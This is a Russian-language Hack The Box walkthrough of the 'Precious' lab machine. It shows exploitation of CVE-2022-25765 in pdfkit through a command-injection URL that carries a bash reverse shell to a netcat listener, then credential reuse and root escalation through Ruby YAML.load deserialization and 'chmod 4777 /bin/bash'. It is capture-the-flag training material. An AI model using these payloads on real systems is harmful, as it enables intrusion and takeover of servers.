Hack The Box. Прохождение Precious. Уязвимость CVE-2022-25765

Сбор информации

Прежде всего, соберем информацию о машине.

Используем nmap с ключами -sV -sC:

aa3ac2873ddc6e1059dc8cd4ac18e76f.png

Сканирование показало, что порт 22 и порт 80 — октрыты. Видим , что порт 80 перенаправляет на http://precious.htb. Чтоб увидеть сайт, добавим его в /etc/hosts .

Посмотрим какие есть директории используя инструмент dirsearch:

e5d067f65949d022e0b8ec4b9d054568.png

Тут ничего. Проверим web server. При переходе на precious.htb, видим такую страницу:

4908c15cd9553a696b8d1cda4af5a8d2.PNG

Веб сервер предлагает сервис по конвертации веб-страниц в файл PDF. Проверим, работает ли. Запустим локальный сервер у себя.

e4894534bbf321f4b78828513e5f3040.png

Создадим index.html в директории localhost, и внесём его в адресную строку :

c6cd11adc61ef4afb3ec644263635182.png

Сработало! Скачали PDF файл, посмотрим что он из себя представляет:

00259925cb25f61028c4ffbbe4fe6744.png

Посмотрим его свойства, он создан pdfkit v. 0.8.6 .

Выглядит как обычный PDF файл. Смотрим его свойства и видим что PDF создан pdfkit v. 0.8.6 .

Беглое исследование в google приводит нас к тому, что существует уязвимость CVE-2022–25765, и можно узнать, что эта версия pdfkit уязвима к command injections.

Ознакомиться с CVE можно тут: https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

Согласно CVE, «an application could be vulnerable if it tries to render a URL that contains query string parameters with user input» и «if the provided parameter happens to contain a URL encoded character and a shell command substitution string, it will be included in the command that PDFKit executes to render the PDF». Этого достаточно, чтобы проникнуть!

Запустим netcat на прослушку порта 4444:

sudo nc -lnvp 4444

94bde95636b6549c2b9257151840810c.png

В веб сервисе http://precious.htb модифицируем эксплойт под наши нужды и введём:

http://localhost.com/? name=#{'%20`bash -c «bash -i >& /dev/tcp/10.10.14.33/4444 0>&1»`'}

 Смотрим в terminal и видим, что мы вошли.

3680994510213c7272fed9876aee997c.png

Получаем user flag:

Whoami → ruby

Итак мы залогинились на сервер, как пользователь ruby. Переместимся в папку /home и в ней находим ещё две папки. Одна из них наш ruby user, а вторая для user«а henry. Внутри папки henry обнаруживаем файл user.txt. Это и есть наш флаг. Но пока не имеем к нему доступа.

Осмотревшись, находим файл в /home/ruby/.bundle, названый config.

Смотрим содержимое cat config. и обнаруживаем пароль для user«а henry.

51b9b19a9c7cb61dcb43f3364430f0ac.png

Используя данные henry, подключимся по ssh к серверу под user«ом henry:

42338233885cccafc01c6b9da49506b2.png

Теперь можем посмотреть user.txt, и берём первый флаг!

2c8c3011b35f28d5b8fcbbb992f1e75c.png

Получаем root flag:

Теперь, когда мы внутри как henry, давайте посмотрим, что можно сделать. Используем команду sudo -l, и посмотрим, что можно запустить:

d3f9a50c302f5f3135b0b6be230693cd.png

Похоже henry может запустить файл update_dependencies.rb, как root, используем cat и изучим файл.

81a87388bd5bfba0682994255fc43551.png

Смотрим на код и обнаруживаем, что он использует YAML.load, который уязвим к deserialization attack.

Почитать больше о YAML deserialization attacks можно тут:

https://github.com/DevComputaria/KnowledgeBase/blob/master/pentesting-web/deserialization/python-yaml-deserialization.md

Недолгие поиски привели к https://staaldraad.github.io/post/2021–01–09-universal-rce-ruby-yaml-load-updated/ находим dependencies.yml, и модифицируем его.

f51b1d31b0b49bf8449113d56680c52b.png

Sudo nano dependencies.yml, и берём код на Ruby on Rails из поста выше.

В строке git_set: id, напишем «chmod 4777 /bin/bash», если всё продумано верно, то это позволит получить нам root.

Запускаем файл.

Sudo /usr/bin/ruby /opt/update_dependencies.rb

817cfc7502beaf480a83e93dff7e30ca.png

Сработало!

Пробуем /bin/bash -p

c2e96b6258f5ca148a56a687b6f8b04b.png

Готово, берём root флаг!

© Habrahabr.ru